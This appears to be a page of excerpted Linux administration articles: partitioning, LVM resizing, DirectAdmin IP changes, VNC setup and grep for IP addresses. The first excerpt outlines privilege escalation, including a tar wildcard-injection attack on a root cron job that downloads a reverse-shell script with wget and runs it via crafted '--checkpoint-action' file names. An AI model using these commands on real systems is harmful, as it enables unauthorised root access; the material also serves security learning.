Linux Privilege Escalation Methods

1. Kernel Exploits 1.1 Dirty Cow Exploit: https://dirtycow.ninja/ 2. Exploiting Weak Services 3.1 Wildcard Injection Crontab :0 5 * * * root tar -zcf /var/backups/home.tgz /home/*==>. [user@localhost home]$ wget http://192.168.0.66/rshell.sh. [user@localhost home]$ touch “–checkpoint-action=exec=sh rshell.sh”. [user@localhost home]$ touch “–checkpoint=1”. <Open a listener on attack platform, wait for cronjob...

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How to use a new partition in RHEL6 without reboot?

Environment Red Hat Enterprise Linux 6 Issue Added a new partition to a disk that have some existing partitions already mounted. Can the new partition be used without reboot in RHEL6? New partition created with fdisk command is not visible in the OS. Resolution partprobe was commonly used in RHEL 5 to inform the OS of partition table changes on the disk. In RHEL 6, it will only trigger the OS to update...

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How to change your server IP address in DirectAdmin

To change the IP address for DirectAdmin and DNS server you need to follow next steps:Connect to your VPS server using SSH (e.g. PuTTY)Go to /usr/local/directadmin/scripts directory: # cd /usr/local/directadmin/scriptsStart ipswap.sh script to change old IP address for your Control Panel and DNS server to the new one (e.g. # ./ipswap.sh 8.8.8.8 7.7.7.7): # ./ipswap.sh old_ip new_ipRestart all services for the changes to take...

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Extending a logical volume in a virtual machine running Red Hat or Cent OS

- Power off the virtual machine.- Edit the virtual machine settings and extend the virtual disk size. For more information, see Increasing the size of a virtual disk (1004047).- Power on the virtual machine.- Identify the device name, which is by default /dev/sda, and confirm the new size by running the command:# fdisk -l- Create a new primary partition:Run the command:# fdisk /dev/sda (depending the results of the step 4)Press...

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Install VNC on Ubuntu 16.04

Virtual network computing, or VNC, is a graphical desktop sharing system that allows you to control one computer remotely from another. A VNC server transfers keyboard and mouse events, and displays the remote host’s screen via a network connection, which allows you to operate a full desktop environment on your Linode. This guide explains...

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Ubuntu VNC Grey Screen

Seeing a grey screen like this? It seems to be a common problem when setting up Ubuntu 14.04 with VNC.ubuntu-grey-screen-vncWhen trying to setup your Ubuntu machine, a common problem seems to come up: the grey screen. There is no login box, no options no nothing. It seems like you followed all the right steps, and you’re logged in to the server but there is nothing there. It’s confusing. We’ve setup this little tutorial to help...

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RegEx: Find IP Addresses in a File Using Grep

Here are some regular expressions that will help you to perform a validation and to extract all matched IP addresses from a file. The following regular expressions match IPv4 addresses. Matched IP addresses can be extracted from a file using grep command. In this article you’ll find a regular expressions themselves and an example of how to extract matched IP addresses from a file with the grep...

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